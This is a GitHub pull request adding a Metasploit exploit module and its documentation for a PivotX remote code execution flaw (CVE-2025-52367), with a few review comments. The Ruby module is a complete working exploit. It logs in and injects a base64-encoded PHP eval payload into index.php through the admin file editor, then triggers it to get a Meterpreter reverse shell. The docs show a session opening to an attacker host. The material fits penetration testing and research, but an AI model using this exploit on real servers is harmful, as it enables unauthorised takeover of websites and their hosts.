Skip to content

Adds module for PivotX RCE (CVE-2025-52367) #20400

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
merged 9 commits into from
Aug 12, 2025
Merged
Show file tree
Hide file tree
Changes from 4 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,48 @@
## Vulnerable Application

PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.

Install steps:

1. Install Apache2, MySQL, PHP8.2+
1. `git clone https://github.com/pivotx/PivotX.git`
1. Move `PivotX` to webfolder
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`

## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use exploit/linux/http/pivotx_rce`
1. Do: `set USERNAME [PivotX username]`
1. Do: `set PASSWORD [PivotX password]`
1. Do: `set RHOSTS [target IP]`
1. Do: `set LHOST [attacker IP]`
1. Do: `run`

## Options


### USERNAME

PivotX username.

### PASSWORD

PivotX password.

## Scenarios

```
msf exploit(linux/http/pivotx_rce) > run verbose=true
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:40562) at 2025-07-18 14:20:03 +0200

meterpreter > sysinfo
Computer : ubuntu
OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

```
156 changes: 156 additions & 0 deletions modules/exploits/linux/http/pivotx_index_php_overwrite.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,156 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})

return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }


version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')


return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")

end

def login
data_post = Rex::MIME::Message.new
data_post.add_part('', nil, nil, %(form-data; name="returnto"))
data_post.add_part('', nil, nil, %(form-data; name="template"))
data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
'data' => data_post.to_s,
'keep_cookies' => true
})

fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file.

end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you add restore to an ensure block?

end
end